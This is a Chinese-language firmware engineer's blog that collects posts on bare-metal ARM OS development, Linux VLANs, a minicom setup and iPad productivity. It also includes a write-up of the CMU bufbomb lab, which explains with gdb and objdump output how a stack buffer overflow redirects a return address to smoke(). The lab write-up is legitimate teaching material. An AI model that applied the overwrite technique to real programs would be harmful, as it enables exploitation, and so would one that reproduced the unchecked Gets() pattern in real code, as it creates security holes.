小胖部落格-learning by doing

IPad Pro 生產力邊看網頁邊筆記

2020-06-20T02:02:00.000+08:00

如何在ipad pro 邊看網頁邊做筆記 (ipad os)

Safari選取(標示)後就可以開使做筆記.

最後再選則存成pdf檔案，日後就可以用再複習編輯。

iPad pro 2020 寫程式可行嗎?

2020-06-12T23:14:00.002+08:00

我是位韌體工程師，工作內容是開發Linux 、RTOS上驅動程式開發。平常習慣用工具是VS code 與Vim，使用的是Macbook air，macOS是 Unix-like作業系統，要裝VIM, microcom, openOCD都相當容易。

今天要來試試iPad pro 2020 沒有巧鍵盤情況下，是否能來開發程式，為什麼不買巧鍵盤了因為iPad pro 2020 11吋定價是25900，再加上巧鍵盤就比Macbook air貴了。

我在Linux server上裝了VS code server版本，使用Safari 是可以正常的看Code，但是網頁版本的VS code對觸控的支援不佳，函數定義跳轉也不正常，最重要的是下方的shell 打開vim後，就……跳不出來啦XD

我想iPad pro在不用巧鍵盤的情況下，是不適合做韌體開發的，但是拿來看文件，做筆記確實是相當合適，可以在datasheet 文件直接用觸控筆做註解，配合note app使用，還可以分享給同事，相當的方便。

Tesla CEO Elon Musk打電動嗎?

2020-05-28T21:40:00.001+08:00

從Elon Musk的twitter 跟Reddit AMA (ask me anything)看來，Elon Musk是會打電動的，

會玩大亂鬥，魔獸爭霸，文明帝國與一些射擊動作類的遊戲。

原文網址:

https://www.businessinsider.com/elon-musk-favorite-video-games-2017-6#8-warcraft-8

如何使用MQTT-Reactive打造Event-driven programming系統

2020-05-27T23:32:00.001+08:00

本文是利用MQTT-Reactive 開發reactive 系統的教學，MQTT在許多的IoT產品上很常用到，

文章裡教大家如何在IoT應用裡有系統的加入MQTT-Client 。

原文連結:

https://www.embedded.com/implementing-an-mqtt-client-for-reactive-systems/

CMU buffer overflow attack作業筆記

2016-10-11T15:41:00.000+08:00

三年前線上課程看到的，現在有空筆記一下，這是CMU的計算機組織課程的作業(https://www.cs.cmu.edu/~213/index.html)，應該是大二的課程。

作業可以在這邊載到(http://csapp.cs.cmu.edu/3e/labs.html)

須要在x86–64的機器上執行. 作業給了一個有buffer overflow問題的程式bomb跟其原始碼bomb.c，

依難度大概有下面幾個層級

1.函數返回時利用buffer overflow去呼叫另一個不帶參數函數

2.函數返回時利用buffer overflow去呼叫另一個帶參數函數

3.利用buffer overflow去修改全域變數

4.最難的是利用buffer overflow去執行一段自己插入的程式(機器碼)，然後要正常返回呼叫函數。

預備知識:

首先，先看x86–64 架構有什麼registers ，這邊

%rip：instruction pointer，用來指到下一個instruction的位置．

%rbp：Frame pointer，用來指到目前stack frame的開頭．

%rsp：stack pointer，用來指到目前stack的top，也是尾巴。

sourece: Carnegie Mellon 1 Assembly and Bomb Lab 15-213: Introduction to Computer

x86的stack 是從高位往低位長的，方向是rbp 往→ rsp ，caller呼叫函數時會把參數push(壓入)stack，接著呼叫函數，並把return的位址存在rbp+8的位置，接著把該含要用到的register值跟區域變數推入stack.

如下的程式Alpha呼叫Beta時，把引數23先推入stack，再呼叫Beta並先把返回位址推入stack.

sourece:https://www.doc.ic.ac.uk/~herbert/teaching/CA05-Intel-5.pdf

題目一:函數返回時利用buffer overflow去呼叫另一個不帶參數函數

bomb程式有個函數test()會呼叫 getbuf() ,getbuf() 裡用到Gets()去取得使用者輸入，但沒做邊界檢查，當輸入長度超過buf[36]時會溢位，要利用這個漏洞，讓getbug返回時，不是回到test()，而是另一個函數smoke().

要做的事就是計算出buf到return address的間距，把smoke的位址填到return address蓋掉原本test的位址。

程式片段如下:

/* $begin boom-c */

void test()

{

unsigned long long val;

volatile unsigned long long local = 0xdeadbeef;

char* variable_length;

entry_check(3); /* Make sure entered this function properly */

val = getbuf();

if (val <= 40) {

variable_length = alloca(val);

}

entry_check(3);

/* Check for corrupted stack */

if (local != 0xdeadbeef) {

printf("Sabotaged!: the stack has been corrupted\n");

}

else if (val == cookie) {

printf("Boom!: getbuf returned 0x%llx\n", val);

if (local != 0xdeadbeef) {

printf("Sabotaged!: the stack has been corrupted\n");

}

validate(3);

}

else {

printf("Dud: getbuf returned 0x%llx\n", val);

}

unsigned long long getbuf()

{

char buf[36];

volatile char* variable_length;

int i;

unsigned long long val = (unsigned long long)Gets(buf);

variable_length = alloca((val % 40) < 36 ? 36 : val % 40);

for(i = 0; i < 36; i++)

{

variable_length[i] = buf[i];

}

return val % 40;

}

/* $begin smoke-c */

void smoke()

{

entry_check(0); /* Make sure entered this function properly */

printf("Smoke!: You called smoke()\n");

validate(0);

exit(0);

}

先用objdump -d bufbomb去反組譯查函數對定的位址，也可以用-t 去看就好。

00000000004010c0 :

4010c0: 48 83 ec 08 sub $0x8,%rsp

4010c4: bf 45 13 40 00 mov $0x401345,%edi

4010c9: c7 05 dd 11 20 00 00 movl $0x0,0x2011dd(%rip) # 6022b0

0000000000400ed0 :

400ed0: 55 push %rbp

400ed1: b9 ef be ad de mov $0xdeadbeef,%ecx

400ed6: 31 c0 xor %eax,%eax

400ed8: 48 89 e5 mov %rsp,%rbp

400edb: 53 push %rbx

400edc: 48 83 ec 18 sub $0x18,%rsp

400ee0: 48 89 4d e8 mov %rcx,-0x18(%rbp)

400ee4: c7 05 c2 13 20 00 03 movl $0x3,0x2013c2(%rip) # 6022b0

400eeb: 00 00 00

400eee: e8 ad fe ff ff callq 400da0

400ef3: 48 83 f8 28 cmp $0x28,%rax

0000000000400da0 :

400da0: 55 push %rbp

400da1: 48 89 e5 mov %rsp,%rbp

400da4: 48 83 ec 30 sub $0x30,%rsp

400da8: 48 8d 7d d0 lea -0x30(%rbp),%rdi

400dac: e8 ff fe ff ff callq 400cb0

(其實從lea -0x30(%rbp),%rdi 就可以看出buf到rbp的間距是48bytes了。

但我想利用gdb 去進一步看詳情

gdb bufbomb

GNU gdb (GDB) Fedora (7.4.50.20120120-54.fc17)

This GDB was configured as "x86_64-redhat-linux-gnu".

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>...

Reading symbols from /home/auser/course-materials/lab3/bufbomb...done.

(gdb) b getbuf //設定斷點在getbuf

Breakpoint 1 at 0x400da0: file bufbomb.c, line 132.

(gdb) r ./bufbomb -u 8257567 < exploit.bytes //這個exploit.bytes先輸入一串1139 hex

Breakpoint 1, getbuf () at bufbomb.c:132

132 {

Missing separate debuginfos, use: debuginfo-install glibc-2.15-59.fc17.x86_64

(gdb) disas //到斷點時停下來看一下我看完呼叫到Gets後情況

Dump of assembler code for function getbuf:

=> 0x0000000000400da0 <+0>: push %rbp

0x0000000000400da1 <+1>: mov %rsp,%rbp

0x0000000000400da4 <+4>: sub $0x30,%rsp

0x0000000000400da8 <+8>: lea -0x30(%rbp),%rdi

0x0000000000400dac <+12>: callq 0x400cb0

0x0000000000400db1 <+17>: movabs $0xcccccccccccccccd,%rdx

=> (gdb) b *getbuf+17 重設斷點到getbuf+17處

continue

Continuing.

Breakpoint 2, getbuf () at bufbomb.c:137

137 variable_length = alloca((val % 40) < 36 ? 36 : val % 40);

(gdb) info reg // dump reg的情況這邊注意 rbp在0x7fffffffb3a0

rax 0x7fffffffb370 140737488335728

rbx 0x3c0d7c17 1007516695

rcx 0x25 37

rdx 0x3677fb2af0 233941183216

rsi 0xa 10

rdi 0x3677fb1340 233941177152

rbp 0x7fffffffb3a0 0x7fffffffb3a0

最後這裡就很明顯了0x7fffffffb370 是buf的起始位置，我開始填入39 11這些數字， 0x7fffffffb3a0是rbp，而這0x00400ef3 是return address ，現在只要從0x7fffffffb370 把buf填爆，把0x00400ef3 改成0x04010c0，這樣程式就會呼叫到smoke了。

(gdb) x/50x 0x7fffffffb300

0x7fffffffb300: 0x77fb2ae0 0x00000036 0x77fb1340 0x00000036

0x7fffffffb310: 0xffffb370 0x00007fff 0x77c7860e 0x00000036

0x7fffffffb320: 0x77fb1340 0x00000036 0x77c73657 0x00000036

0x7fffffffb330: 0x3c0d7c17 0x00000000 0x00400d50 0x00000000

0x7fffffffb340: 0x3c0d7c17 0x00000000 0xffffb3a0 0x00007fff

0x7fffffffb350: 0x00607f80 0x00000000 0xffffe440 0x00007fff

0x7fffffffb360: 0x00000000 0x00000000 0x00400db1 0x00000000

0x7fffffffb370: 0x39393939 0x11113939 0x11111111 0x00000011

0x7fffffffb380: 0x00607f80 0x00000000 0x778148e5 0x00000036

0x7fffffffb390: 0x00002f20 0x00000000 0x77cba477 0x00000036

0x7fffffffb3a0: 0xffffb3d0 0x00007fff 0x00400ef3 0x00000000

$ ./sendstring < smoke.txt > exploit.bytes

$ ./bufbomb -u 8257567 < exploit.bytes

下面是最後的結果。

-bash-4.2$ ./bufbomb -u 8257567 < exploit.byte

Username: 8257567

Type string: Smoke!: You called smoke()

Reference:

x86的buffer overflow網站:http://www.tenouk.com/Bufferoverflowc/Bufferoverflow1.html

Raspberry Pi (ARMv6)上自幹一個微小作業系統

2015-03-21T00:16:00.000+08:00

大約半年前，我加入fb的F9 based JuluOS與黃敬群老師(Jserv)成大嵌入式系統課程社團，我才發現原來台灣有那麼多人在研究作業系統開發，我也想試試開發一個小小的OS。

從0開始寫一個OS是相當有趣的過程，可以檢視自己對C、資料結構、作業系統、計算機組織的瞭解程度，誠實的面對自己，雖然自己在系統廠工作幾年了，還是很多基礎知識不足，也許這就是為什麼那麼多高手可以在ic design house，而我在系統廠吧，寫這個小OS，只是學習的開始，接下來我會多研究其它的OS，例如:xv6、F9 microkernel、freeRTOS...

我把開發流程一步一步記錄，從bare metal Helloworld，加入printk，配置MMU， IRQ中斷，記憶體管理(Buddy system)，到最後加入system call、process fork與round robin scheduling，方便學習。

所有原始程式碼都放在github上: https://github.com/tzuCarlos/RaspberryPi
我使用qmeu測試:
這邊有執行的結果:https://github.com/tzuCarlos/RaspberryPi/blob/master/mimiOS/RESULT

系統說明:
先拖稿一下，下班還要唸書，顧嬰兒很累的，改天有空補上一步步說明XD

未來工作:
1.把ARM的架構跟ARM組合語言弄熟。
2.系統memory map我還沒好好規畫，只是想到做什麼功能，就找一塊出來。
3. 沒有檔案系統，沒有shell、沒有驅動程式構架。
4. 寫個RTOS吧.

推薦社群、blog、書藉:
1. F9 based JuluOS, https://www.facebook.com/groups/224024274384934/
2. 黃敬群老師(Jserv)成大課程，https://www.facebook.com/groups/ncku.embedded2015/
3. Benux Wei, 精簡版作業系統實戰: 自製OS用Qemu執,
http://ben6.blogspot.tw/2011/05/qemu.html
4.loda筆記, http://loda.hala01.com
5. 陳鐘誠老師的網站: http://ccckmit.wikidot.com
6. 作者:李無言, 一步步写嵌入式操作系统
7. Andrew Sloss (Author), Dominic Symes (Author), Chris Wright (Author), "ARM System Developer's Guide: Designing and Optimizing System Software".
8. Randal E. Bryant, David R. O'Hallaron, "Computer Systems: A Programmer's Perspective" (這是CMU教才，我目前主管是CMU博士畢業XD，相當推!)

vim + cscope + ctags + nerdtree + taglist + SrcExpl+trinity, c ya source Insight.

2015-02-15T14:46:00.002+08:00

Bought a MACbook air installed ubuntu+LXDE, time to say good bye to windows & source Insight.

I tried eclipse to develop C about 1 month before, eclipse is nice tool to trace code, but somehow I still feel eclipse a bit laggy.

Finally, I use VIM, because both of MAC OS X and Linux have VIM.

website: The NERD tree : A tree explorer plugin for navigating the filesystem
download NERD_tree.zip
unzip NERD_tree.zip
mkdir -p ~/.vim/plugin
mv plugin/NERD_tree.vim ~/.vim/plugin

vim ~/.vimrc
add this line: nnoremap :NERDTree

same producer to install taglist, trinity, and SrcExpl.

You may need a script to generate cscope and ctags index files.

CSCOPE_FILE=cscope.out
if [ -n "$1" ]; then
echo "Source code directory: " $1
echo "Create file map : " $CSCOPE_FILE
find $1 -name "*.c" -o -name "*.c" -o -name "*.h" -o -name "*.c" -o -name "*.S" >
$CSCOPE_FILE
cscope -bkq -i $CSCOPE_FILE
ctags -R --exclude=.svn
else
echo "Please key-in path of project"
fi

reference:
Tsung's Blog: http://blog.longwin.com.tw/2009/02/vim-tree-explorer-nerdtree-plugin-2009/

自己動手做OS之Raspberry Pi interrupt example 筆記

2015-02-15T14:06:00.001+08:00

Happy Chinese New Year!! 希望我年假，有更多時間好好學習作業系統...T_T

這是個學習筆記，還未整理好，看起來很亂，但是我會盡量把該注意的重點寫下。

Interrupt example Raspberry Pi source code:

https://github.com/tzuCarlos/RaspberryPi/tree/master/labInterrupt

這範例中，我們使用timer 產生IRQ，執行時，可以看到，每隔一小段時間，就會印出IRQ_handler，在IRQ_handler()中，先關掉了IRQ再印出IRQ_handler，接著啟動IRQ，這是一個簡單的範例，但不是有效率的處理IRQ方式，以後我們來討論巢式中斷。

當IRQ發生時，硬體會自動跳到0x18的位址上去執行程式，但我們系統是掛在0x10000上，跳到0x18時並沒有東西，這時有幾個解決方式，1是利用mmu把0x18 mapping 至 0x10018上，或是設定CP15，跳轉到正確的中斷處理向量表上。

ARM的官方網站有很好說明，值得一看。
http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0203j/Cacbhjjj.html

以下是節錄陳鐘誠老師的網站(http://sp1.wikidot.com/arm)
-------------------------------------------------------------------------------------------------------------------------

ARM 的可存取暫存器為 R0-R15，其中 R13為堆疊指標 SP (Stack Pointer)，R14 為連結暫存器 LR (Link Register)，R15 為程式計數器 PC (Program Counter)。

ARM的狀態暫存器有 CPSR (Current Processor Status Register) 與 SPSR (Saved Processor Status Register)。其中 SPSR 乃是在中斷時用來自動儲存CPSR的暫存器。

在 ARM 處理器當中，共有七種模式，包含 1. 使用者模式 (User Mode) 2. 系統模式 (System Mode)、3. 快速中斷模式 (Fast Interrupt Request:FIQ)、4. 特權呼叫模式(Superviser Call:SVC)、5. 中止模式(Abort:ABT)、6. 中斷請求模式 (Interrupt Request:IRQ)、7. 未定義模式(Undefine:Undef) 等。除了使用者模式外，其它六種模式稱特權模式，而除了使用者模式跟系統模試，其它五種稱為異常模式。

source: http://www.botskool.com/images/elec/arm7t2p1.jpg

不同的模式會有獨立的堆疊暫存器 SP (R13) 與連結暫存器 LR (R14)-返回地址，這使得 ARM 的模式切換更快，因為不需要以額外的指令儲存這些暫存器。圖二顯示了 ARM 當中的所有暫存器，在每個模式當中，R0-R15 及 CPSR 都是可以存取的，但在後五種模式中，會使用獨立的 R13, R14、以及 SPSR，取代使用者模式的暫存器[1]。
--------------------------------------------------------------------------------------------------------------------------

R15(PC)當前程式執行的位置

FIQ比IRQ模式多了R8_fiq~R12fiq私有暫存器，可以提高中斷速度。 (原因:.....待補)

中斷發生時要做的事:

保存CPSR到SPSR

•要保存暫存器狀態（ SP和LR （除FIQ模式））

•CPU模式切換應於該異常模式

•設置中註冊的量表來PC的地址

參考資料:

[1] http://sp1.wikidot.com/arm 陳鐘誠老師的網站。

https://embedded-note.hackpad.com/ARM-Cortex-MFreeRTOS-JJEh9CE4gel

http://wiki.csie.ncku.edu.tw/embedded/2014q3w8

ARM System Developer's Guide

http://www.amazon.com/ARM-System-Developers-Guide-Architecture/dp/1558608745

一步步写嵌入式操作系统

http://book.douban.com/subject/5404177/

http://stackoverflow.com/questions/8936022/setting-up-interrupt-vector-table-armv6

http://lars.nocrew.org/computers/processors/ARM/ARMv6.pdf

http://stackoverflow.com/questions/8957474/calling-arm-assembly-from-c-gcc-bare-metal%3E

http://read.pudn.com/downloads153/doc/672477/杨宗德_嵌入式ARM系统原理与实例开发/CH06.pdf

MAC OS X 10.10 minicom USB to serial 安裝

2015-01-29T20:20:00.001+08:00

1. 下載 minicom 2.7
https://alioth.debian.org/projects/minicom/

2.解開後
./configure (我的安裝時說automake需要安裝Xcode，就安裝先囉)
make
sudo make install

3. 上usb-to-serial cable網站我的chip是PL2303 ->
系統偏好設定>安全性與隱私>允許安裝

查詢我的設備是tty.usbserial

ls -1 /dev/tty.*
/dev/tty.usbserial

4.執行minicom -s 設定>
Serial port setup -> A - Serial Device:/dev/tty.usbserial
-> F - Hardware Flow Control:NO
選: save setup as dfl -> 發現錯誤 sudo mkdir /usr/local/etc -> sudo chmod 777 /usr/local/etc

nailed it!!!

Linux VLAN 筆記

2015-01-26T15:52:00.001+08:00

Linux VLAN 筆記

kernel 開啟802.1q功能後，便可以透過簡單指令，設定VLAN.

brctl delif br0 ath0

brctl delif br0 eth0

vconfig add ath0 555

vconfig add eth0 555

ifconfig ath0.555 up

brctl addbr br555

brctl addif br555 ath0.555

brctl addif br555 eth0.555

ifconfig ath0.555 up

ifconfig eth0.555 up

ifconfig br555 10.0.0.11 up

Wireless AP mode運作正常，抓無線封包有看到帶了VLAN ID 555.

不幸的是，我的Wireless STA，不能成功ping到我的AP，只好下去看程式，這邊有幾個部份要看.

1. Linux kernel 802.1q

2.Wireless driver.(我手邊的是Atheros proprietary LSDK driver，所以這部份內容都不會放上來)

3.hostapd跟wpa_supplicant.

Linux的net_dev是用一個list串起來，每個net_dev都有會呼叫ev_queue_xmit ->dev_hard_start_xmit ，去傳送封包至下一步。

vlan.c::vlan_proto_init()時會invoke，dev_add_pack(&vlan_packet_type);

static struct packet_type vlan_packet_type __read_mostly = {

.type = cpu_to_be16(ETH_P_8021Q),

.func = vlan_skb_recv, /* VLAN receive method */

};

vlan_packet_type()宣告了， type是8021q(0x8100)封包接收時是由它來使用vlan_skb_recv()處理。

所有帶VLAN tag header的封包會經過vlan_dev.c::vlan_skb_recv()處理，去掉VLAN header，再處理接下來的header ex: ARP or IP。

傳送時vlan_dev_hard_start_xmit()會invoke __vlan_put_tag()去加入VLAN header。

整個流程是wifi_Dev_RX->vlan_skb_recv()->bridge->中間處理比方說ARP->送出ARP reply->dev_hard_start_xmit()->加入VLAN header後由實體網卡送出。

參考資料:

http://www.ibm.com/developerworks/cn/linux/1310_xiawc_networkdevice/image005.jpg

vconfig add ath0 555 will invoke ospriv_vlan_add_vid( ).

http://www.linuxfoundation.org/images/1/1c/Network_data_flow_through_kernel.png

參考資料:

https://kaka620kimo.files.wordpress.com/2013/04/clip_image001_thumb1.jpg

http://wireless.kernel.org/en/developers/Documentation

http://linuxgazette.net/156/jangir.html

http://upload.wikimedia.org/wikipedia/commons/5/5b/Linux_kernel_map.png

http://wenku.baidu.com/view/b684f44fe45c3b3567ec8bf5.html

http://blog.csdn.net/qy532846454/article/details/6529166

http://www.ibm.com/developerworks/cn/linux/1310_xiawc_networkdevice/

http://ramirose.wix.com/ramirosen

http://www.cnblogs.com/zmkeil/archive/2013/04/18/3029339.html

http://www.net130.com/netbass/netmanger/20040519031.htm

http://blog.csdn.net/zhou13454069844/article/details/16804501

自己動手做OS之Raspberry Pi MMU initialization.

2014-11-19T12:14:00.004+08:00

寫了一個簡單的bare metal啟動MMU的程式，
把實際位址0x20000000~0x210000000 對應到虛擬位址0xa0000000~0xa1000000

ARM MMU的部份在ARMv6之前跟之後的版本不同，
請看Technical Reference Manual。

Raspberry Pi MMU initialization example.

hackpad note:https://lbd.hackpad.com/MMU-initialization-Jl8YoJ3iUdf
source code:https://github.com/tzuCarlos/RaspberryPi/tree/master/labMMU

為什麼需要MMU?

TODO:....

頁表(page table)是由頁表項(page table entry, PTE)組成的。每一個PTE包含一段虛擬位址(page)映射到一段實體位址的資訊，而page的大小依ARM core版本不同，有不同的支持1K(tiny page), 4K(small page), 64k(large page), 1MB, 16MB。

page的大小決定了映射的粒度(granularity):

如果我們把page切1MB，那64MB的記憶體就需要64MB/1MB的PTE，每個PTE是32bits(4bytes)，64x4=256bytes頁表項空間。4G就是4096x6=16384=16K

切1K,4K,64K需要用二級查表，1MB,64MB用一級查差，二級差表用途是縮小PTE，以減少佔用記憶體空間，但降底了尋址的效率。 16M的page叫super section, 1M的叫section。 L1表還有個名稱叫page directory entry(PDE)。

ARM 的位址轉換涉及底下三種位址[1]:

虛擬位址 (Virtual Address，VA): CPU 送出的位址。

修改後的虛擬位址 (Modified Virtual Address，MVA): 快取和 MMU 看到的是 MVA。

物理位址 (Physical Address，PA): 內存看到的是 PA。

ARM920T(ARMv4) Technical Reference Manual 第三章[2]:

圖中的Translation table是第一級頁表最大4096x32bit entries=16KB，每一個對應到1MB的虛擬記憶體，也就是4G，

Coarse page table是第二級頁表。

Translation table base(TTB) register

尋址過程:

MVA跟register中的translation table base算出translation table(section table entry)，再找到實際對應的位址

從這圖可以看出來section table找法=TTB&0xffffc000 | ((viraddr >> 20) << 2 )

取TTB的前15bits合併MVA的前12bits。

Section格式

Section entry

31:20 bits，共 12bits表示實體位址的前12位，剩的20bits也是2^20=1MB，每個section可以定址1MB的實體空間。

19:12 bits，必需是0

11:10 bits，是AP(Access permission)，控制權限。

9 必需是0

8:5 bits，Domain control bit, ARM定義了16個domain。

4 必需是1

3:2 跟cache、write buffer有關

1:0 定義了page size。以section來說這兩個bits的值是0x10。

ARM官方的文件，要啟動MMU需要做的事。

6.4.1 Enabling the MMU

To enable the MMU in one world you must:

1. Program all relevant CP15 registers of the corresponding world.

2. Program first-level and second-level descriptor page tables as required.

3. Disable and invalidate the Instruction Cache for the corresponding world. You can then

re-enable the Instruction Cache when you enable the MMU.

4. Enable the MMU by setting bit 0 in the CP15 Control Register in the corresponding world.

figure source: 嵌入式Linux学习笔记(四)-内存管理单元mmu

我們現在要做的事如下:

透過CP15 register設定Base address. (圖中的A)

寫好 translation table((section table entry)至對應的記憶體區段中. (圖中的B)

在Raspberry Pi上啟用MMU:

首先，請把arm1176jzfs_TRM，MMU跟CP 15章節看過。

Translation table，16kb的對齊，所以Translation的base位址一定是要16384(0x4000)的倍數，ex:0x10000,14000,18000...

4GB的虛擬位址，共有4096x32bits，每個enrty描述1MB的虛擬記憶體。

section一共有4096個,2^12表示0x000xxxxx~0xfffxxxxx的前三個位址index.

把page的base指定到14000上，我們將會用到0x14000開始的16k位置。

static unsigned int *page_table=(unsigned int *const)0x14000;

page_table存的資料，前12bits對應是實體位置的前12bits，請參照Technical Reference Manual。

我想把實體的位址0x20000000~0x210000000對應到虛定位址0xa0000000~0xa1000000上

0xa0000000取前12bits，是0xa00=2650，也就是說*page_table[2560]要對應的就是0xa0000000~0xa00fffff這1MB的空間。

if (i >= (0xa0000000 >> 20) && i <= ( 0xa1000000 >> 20))

page_table[i] = (i-2048)<<20 | 0x0410 | 2;

這邊我們想要對應到的位址是0x20000000前12bits是0x200=512，2560-2048=512，所以我們把i減去2048。如此一來，

page_table[2560]=0x2000412

page_table[2561]=0x2010412

page_table[2562]=0x2010412

.........................

接下來要做的事就是把透過CP15 register設定base address、domain、跟啟動MMU

asm volatile("mcr p15, 0, %0, c2, c0, 0" : : "r" (page_table) : "memory");

asm volatile("mcr p15, 0, %0, c3, c0, 0" : : "r" (~0));

asm("mrc p15, 0, %0, c1, c0, 0" : "=r" (reg) : : "cc");

reg|=0x1; asm

volatile("mcr p15, 0, %0, c1, c0, 0" : : "r" (reg) : "cc");

TODO: I-Cache, D-Cache, cache鎖定

Reference:

[1]韋任Blog,http://people.cs.nctu.edu.tw/~chenwj/dokuwiki/doku.php?id=arm2

[2]ARM920T Technical Reference Manual.

[3]ARM Information center:http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0056d/BABHJIBH.html

https://www.cs.rutgers.edu/~pxk/416/notes/10-paging.html

http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0344k/index.html

http://www.embedded-bits.co.uk/2011/mmucode/

http://www.embedu.org/Column/Column583.htm

http://www.ibm.com/developerworks/cn/linux/l-skyeye/part3/s3/

Addison Wesley - ARM System-on-Chip Architecture, 2Ed

http://stackoverflow.com/questions/3439708/how-to-enable-arm1136jfs-arm-v6-mmu-to-have-one-to-one-mapping-between-physica

未整理資料:

mmu->

1.切割記憶體單位page,1M的話叫section.

2.page table是記綠page對應的表，也是存在記憶體中。

3.每次MMU都要先查page table->再讀實際位址=> 讀兩次。

4.TLB就是MMU的cache

5.ARM依核心不同，可以切64MB,1MB,64k,4k...

section 解決兩件事，1. 實體位址, 2.存取權限。

Software directly access peripherals must use virtual address

Software access peripheral using DMA must use bus address

Software access RAM directly must use physical address.

Raspberry Pi bare metal OS 筆記

2014-11-04T12:05:00.001+08:00

最近因為轉職的關係，時間很零碎，年過30體力ok，不過熬夜的能力大減! 入手了一個Raspberry Pi，原因是社群比較多，在台灣也比較好買到，Beagleboard-XM我在官方論壇上問問題，幾乎沒人回應了，大家都玩BeagleBone Black。

持續的學習! 分享學習的筆記，我跟我同年紀的人，程度差太多了，努力跟上領先集團，
因為我是阿宅，沒人要跟我一起開讀書會，人家用黃色小鴨Debug，我就用自由女神學習吧，概念就是，跟著自由女神解釋，自己寫了什麼，藉以review筆記。

試著使用hackpad,比較方便編輯跟備份。

Raspberry Pi bare metal Hello World
中文：https://lbd.hackpad.com/Raspberry-PiHello-world-qivrzCRU6mW
　English：https://lbd.hackpad.com/Hello-world-on-qemu-Raspberry-Pi-dUGFyJw9Hva

自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab3 Initialize stack pointer and printk

2014-09-06T20:32:00.002+08:00

lab3,Happy Moon Festival!!! We'll study how to initial stack
and add a printk function for debug in lab3.

終於有點空閒時間了，大家中秋節快樂，
這個例子練習了ARM在開機時initial stack的部份，
並加入了一個printk的功能，以便日後debug.

I just give some notes for now.

start.S -
__vector_reset will invoke when boot,
it will initialize stack pointer then clear bss section
and then invoke plat_boot function to print helloworld.

開始後會跳到__vector_reset去進行stack initial的動作
，然後初始化bss段，跳到plat_boot去動作。

boots.c
It will print helloworld and invoke test_printk function.
會印出helloworld並呼叫 test_printk。

source code download (原始碼下載):
https://github.com/tzuCarlos/v1OS.git

further study:
Jserv's CuRTOS give us a nice ARM boot asm example, we'll need to disable MMU, setup stack, timer, interrupt and some hardwares. though bootloader already did some during boot, but for portal reason, a nice OS still need to initial by itself.
請先看Jserv大，寫的CuRTOS的啟動程式部份，裡面有很詳細的註解，不過今天我們只有做stack的配置。
https://github.com/jserv/CuRT/blob/master/arch/arm/mach-pxa/start.S

參考資料:
Jesrv, CuRTOS, https://github.com/jserv/CuRT
王佑中博士,CuRTOS解析, https://sites.google.com/site/embedded2009/introduction-to-curt-v1
http://www.bravegnu.org/gnu-eprog/c-startup.html#_stack

自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab1

2014-08-28T23:29:00.001+08:00

This is a tutorial on bare-metal [OS] development on the Beagleboard-XM.
I will show you how to implement a Helloworld image in this article.
在這篇文章中，我會介紹如何寫一個Helloworld的image.

1. From BeagleBoard-xM System Reference Manual, we can get, "A single RS232 port is provided on the BeagleBoard and provides access to the TX and
RX lines of UART3 on the processor."
2. From DM3730 Technical Reference Manual- we can get "THR_REG W UART3 base address is 0x49020000" -

首先我們可以從BeagleBoard-xM System Reference Manual,查到板上子上的RS-232是接在UART3上，再從DM3730 Technical Reference Manual，得知，UART3的THR_REG的位址是0x49020000.

I've already added comments in source file, please refer to source code(github) for details.
我把註解加入到檔案中了，請到github下載source。

1.boot.asm

#UART3 THR_REG register address
.equ UART3_THR_REG, 0x49020000
.arm
_start:
ldr r0,=UART3_THR_REG
adr r1,.L0
bl helloworld
.L1:
b .L1
.align 2
.L0: 
.ascii "helloworld\n\0"

2.Helloworld.c

int helloworld(unsigned int *addr,const char *p){
while(*p){
*addr=*p++;
};
return 0;
}

3.linker script

MEMORY
{
ram : ORIGIN = 0x80300000, LENGTH = 0x10000
}
SECTIONS
{
.text : { *(.text*) } > ram
}

4.Makefile

ARMGNU = arm-elf
AOPS = --warn --fatal-warnings
COPS = -Wall -Werror -O2 -nostdlib -nostartfiles -ffreestanding
boot.bin: boot.asm
$(ARMGNU)-gcc -O2 -c helloworld.c
$(ARMGNU)-as boot.asm -o boot.o
$(ARMGNU)-ld -T linker.ld boot.o helloworld.o -o boot.elf
$(ARMGNU)-objcopy boot.elf -O binary boot.bin
clean:
rm *.elf *.o *.bin -f

U-Boot 2014.01-00014-gcc58fc1 (Feb 10 2014 - 16:24:52)

OMAP3630/3730-GP ES1.1, CPU-OPP2, L3-200MHz, Max CPU Clock 1 Ghz
OMAP3 Beagle board + LPDDR/NAND
I2C:   ready
DRAM: 512 MiB
NAND: 0 MiB
MMC:   OMAP SD/MMC: 0
*** Warning - readenv() failed, using default environment

In:    serial
Out:   serial
Err:   serial
Beagle xM Rev A/B
No EEPROM on expansion board
No EEPROM on expansion board
Die ID #692000019ff80000015eeaa10201402e
Net:   usb_ether
Hit any key to stop autoboot: 0
OMAP3 beagleboard.org # fatload mmc 0:1 0x80300000 boot.bin
reading boot.bin
68 bytes read in 4 ms (16.6 KiB/s)
OMAP3 beagleboard.org # go 0x80300000
## Starting application at 0x80300000 ...
helloworld

原始碼下載:
https://github.com/tzuCarlos/v1OS.git

Reference:
李無言, 一步步寫嵌入式操作系統︰ARM編程的方法與實踐,.
http://www.books.com.tw/products/CN10720115
http://stackoverflow.com/questions/6870712/beagleboard-bare-metal-programming
http://wiki.osdev.org/ARM_Beagleboard

Assembly - moving data 組合語言，移動資料

2014-08-08T00:17:00.000+08:00

從記憶體中讀資料
load date from memory into register
把暫存器中存資料存進記憶體
store register data into memory

               Figure 1. integer registes,
               source:https://www.cs.cmu.edu/~fp/courses/15213-s07/misc/asm64-handout.pdf

mov operand combinations(mov的運算整理)
mov imm to register, mov $0x11,%eax -> var_a=0x11;
mov imm to mem, mov $0x39,(%eax) -> *p=0x39;
mov reg to reg, mov %edx,%eax -> var_a=var_b;
mov reg to mem, mov %eax,(%edx) -> *p=var_a;
mov mem to reg, mov (%eax),%eax -> var_a=*p;

*can not do memory to memory transfer in single instruction.

Here is an simple swap code:

void swap(int *xp, int *yp)
{
   int a=*xp;
   int b=*yp;

   *xp=b;
   *yp=a;
}

Let's see how above code done by assembly.
Variables store in which memory place and registers is assigned by complier.
讓我們來看上面的程式碼,如何使用組合語言完成,
變數會放在哪個register對應到哪個memory位址，是由complier決定的。

gcc -g -c mov.c -m32 -o mov32

00000000 :
